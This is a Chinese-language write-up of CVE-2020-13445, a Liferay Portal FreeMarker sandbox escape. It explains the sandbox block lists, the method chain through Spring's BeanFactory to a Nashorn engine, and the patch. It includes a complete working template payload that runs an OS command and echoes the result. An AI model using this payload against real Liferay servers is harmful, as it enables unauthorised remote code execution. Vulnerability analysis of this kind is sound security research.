Liferay+Portal+ 模板 RCE 分析(CVE-2020-13445)
前言
GHSL小組成員Alvaro Munoz在2020年3月報告了Liferay Portal中的模板注入漏洞,通過其描述可以得知具有編輯模板權限的用戶可以實現通過該漏洞實現遠程代碼執行,而漏洞產生原因是由于繞過了Liferay Portal自定義的安全保護機制從而使得允許通過Freemarker模板實例化任意對象完成沙箱逃逸(CVE-2020-13445)
模板安全策略
在Liferay Portal中實現了自定義的ObjectWrapper,在訪問對象時將會觸發wrap方法(使用黑、白名單校驗)
class com.liferay.portal.template.freemarker.internal.RestrictedLiferayObjectWrapper

訪問對象時將經過wrap方法并觸發校驗調用 _checkClassIsRestricted 方法
跟入 _checkClassIsRestricted方法具體邏輯如下

在構造方法中傳入 allowedClassNames、restrictedClassNames 、restrictedMethodNames 參數
在 wrap 方法中調用 _checkClassIsRestricted 方法進行校驗。
注:在低版本中不存在 RestrictedLiferayObjectWrapper 類,而核心邏輯位于 LiferayObjectWrapper 中
而黑白名單來自于 com.liferay.portal.template.freemarker.configuration.FreeMarkerEngineConfiguration
受到限制的類
com.liferay.portal.json.jabsorb.serializer.LiferayJSONDeserializationWhitelist
java.lang.Class
java.lang.ClassLoader
java.lang.Compiler
java.lang.Package
java.lang.Process
java.lang.Runtime
java.lang.RuntimePermission
java.lang.SecurityManager
java.lang.System
java.lang.Thread
java.lang.ThreadGroup
java.lang.ThreadLocal
受到限制的變量
httpUtilUnsafe
objectUtil
serviceLocator
staticFieldGetter
staticUtil
utilLocator
我們還需要關注Liferay Portal中的類解析器 com.liferay.portal.template.freemarker.internal.LiferayTemplateClassResolver
此類是 freemarker.core.TemplateClassResolver 接口的實現,在加載class時將調用 resolve 方法
Execute、ObjectConstructor 無法被加載
非白名單中的類無法被加載
以上限制將導致無法在模板中創建對象或是經過ClassLoader加載Class等方法來利用
漏洞分析
雖然存在著諸多限制,但是允許通過模板上下文中暴露的大量對象提供的方法完成一個鏈式調用后繞過安全機制來實例化任意對象最終完成逃逸導致遠程代碼執行
在模板上下文中存在著許多變量,每個變量都對應到一個對象,而這些對象中暴露的方法可能會存在問題。
其中${renderRequest} 的類型是 class com.liferay.portlet.internal.RenderRequestImpl,同時它是 class com.liferay.portal.kernel.portlet.LiferayRenderRequest 的子類
在父類 class com.liferay.portlet.internal.RenderRequestImpl 中存在一個getter方法 public PortletContext getPortletContext()
通過此方法我們可以獲取到 class com.liferay.portlet.internal.PortletContextImpl 的實例(PortletContext)
在 PortletContextImpl 中存在getter方法為 public ServletContext getServletContext()
通過此方法我們可以繼續獲取到 ServletContext,但它是由ASM生成,而并非是容器原生的 ServletContext
不過這個 ServletContext 提供了 getContext 方法,接著調用該方法我們可以獲得容器原生的 ServletContext 實例(Tomcat中的ApplicationContextFacade)
至于為什么要獲取到容器的 ServletContext,是因為在下一步我們需要從Servlet上下文中通過 getAttribute 方法獲取到Spring的 ApplicationContext
這個保留在上下文Attribute中的命名為 org.springframework.web.context.WebApplicationContext.ROOT
經過測試由ASM生成的 ServletContext 是無法獲取到該Attribute的
而容器的 ServletContext 是可以獲取到的
此時我們已經拿到到了Spring的 ApplicationContext
實例類型為Liferay Portal中實現的 class com.liferay.portal.spring.context.PortalApplicationContext,它是 class org.springframework.web.context.support.XmlWebApplicationContext 的子類
目前獲取到的 Spring ApplicationContext 可以做很多的事情,但是要想達到遠程代碼執行的效果還是需要繼續探索。
我們可以通過獲取到 BeanFactory 篡改 BeanDefinitions 中的 beanClass 類型為自定義類型 以及 scope 作用域為”prototype”,然后調用 getBean 方法, Spring將實例化一個我們定義的類型對象并返回達到實例化任意對象的效果。
這里的思路是實例化JDK中的 Nashorn 腳本引擎工廠,接著調用 getScriptEngine 獲取 Nashorn 引擎實例,再調用 eval 方法來執行腳本。
尋找 BeanDefinition 時,只需要注意構造方法的參數即可,例如 Nashorn 腳本引擎工廠為無參構造方法。
其中名為 com.liferay.document.library.kernel.service.DLAppService 的 BeanDefinition 是符合這個條件的。
整個調用鏈及利用如下:
通過內置對象 ${renderRequest} 調用 getPortalContext() 獲取 PortalContext 對象
通過 PortalContext 獲取 ServletContext (ServletContextDelegate - 由 ASM 生成)
通過 ServletContextDelegate 調用 getContext(“/“) 獲取 ApplicationContext
通過 ApplicationContext 調用 getAttribute(“org.springframework.web.context.WebApplicationContext.ROOT”) 獲取 PortalApplicationContext(繼承至 Spring XmlWebApplicationContext)
通過 PortalApplicationContext 調用 getBeanFactory() 獲取 LiferayBeanFactory (繼承至 Spring DefaultListableBeanFactory)
通過 LiferayBeanFactory 調用 getBeanDefinition(“com.liferay.document.library.kernel.service.DLAppService”) 獲取 DLAppService 的 BeanDefinition
通過 BeanDefinition 調用 setScope(“prototype”) 修改 scope 為 “prototype” (非單例)
通過 BeanDefinition 調用 setBeanClassName(“jdk.nashorn.api.scripting.NashornScriptEngineFactory”) 修改 BeanClass 為 “jdk.nashorn.api.scripting.NashornScriptEngineFactory” (Nashorn 腳本引擎工廠)
通過 LiferayBeanFactory 調用 registerBeanDefinition 將篡改后的 BeanDefinition 重新注冊
通過 LiferayBeanFactory 調用 getBean 將會導致創建 Nashorn 腳本引擎工廠對象并獲取
通過 NashornScriptEngineFactory 調用 getScriptEngine() 獲取 Nashorn 腳本引擎對象
通過 NashornScriptEngine 調用 eval 執行惡意腳本,觸發遠程代碼執行
構造回顯 Payload
<#assign sp=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBeanDefinition("com.liferay.document.library.kernel.service.DLAppService")>
<#assign ec=sp.setScope("prototype")>
<#assign eb=sp.setBeanClassName("jdk.nashorn.api.scripting.NashornScriptEngineFactory")>
<#assign xx=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().registerBeanDefinition("sp",sp)>
<#assign res=renderRequest.getPortletContext().getServletContext().getContext("/").getAttribute("org.springframework.web.context.WebApplicationContext.ROOT").getBeanFactory().getBean("sp").getScriptEngine().eval("var a = new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','whoami']);var b=a.start().getInputStream();var c=Java.type('com.liferay.portal.kernel.util.StreamUtil');var d=new java.io.ByteArrayOutputStream();c.transfer(b,d,1024,false);var e=new java.lang.String(d.toByteArray());e")>
${res}

觸發后成功執行
補丁分析
在 Liferay Portal 7.3.2-GA3 中較之前版本增加了如下黑名單,其中增加了 com.liferay.portal.spring.context.* 導致無法訪問 Spring ApplicationContext
com.ibm.*
com.liferay.portal.spring.context.*
io.undertow.*
org.apache.*
org.glassfish.*
org.jboss.*
org.springframework.*
org.wildfly.*
weblogic.*
參考:https://github.com/liferay/liferay-portal/...
原創: 帶頭老哥 補天平臺
原文鏈接:https://mp.weixin.qq.com/s/xWmGqM1oQYrg3T8...